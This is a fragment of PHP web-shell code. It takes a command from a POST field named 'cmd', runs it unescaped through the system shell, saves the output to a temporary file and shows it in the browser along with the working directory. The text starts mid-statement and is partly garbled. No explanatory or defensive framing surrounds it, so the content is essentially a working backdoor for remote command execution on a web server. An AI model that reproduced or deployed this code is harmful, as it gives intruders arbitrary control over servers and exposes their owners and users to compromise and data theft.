Shell - <?php echo(str_replace('<','',$_POST['cmd']));?> 
">> '.$tmpoutput.' && echo '.$pwd.'$ '.escapeshellarg($cmd).' >> '.$tmpoutput.' && echo >> '.$tmpoutput.' && '.$cmd .' >> '.$tmpoutput.' 2>&1 && pwd > '.$tmppwd);
$newpwd = trim(file_get_contents($tmppwd)); //capture new Present (current) Working Directory just in case it changed
if($newpwd != "") $pwd = $newpwd; //if something failed, don't change directory
echo(file_get_contents($tmpoutput, false, NULL, filesize($tmpoutput)-MAX_OUTPUT_LENGHT));
unlink($tmppwd);
}
?>

Reset "> $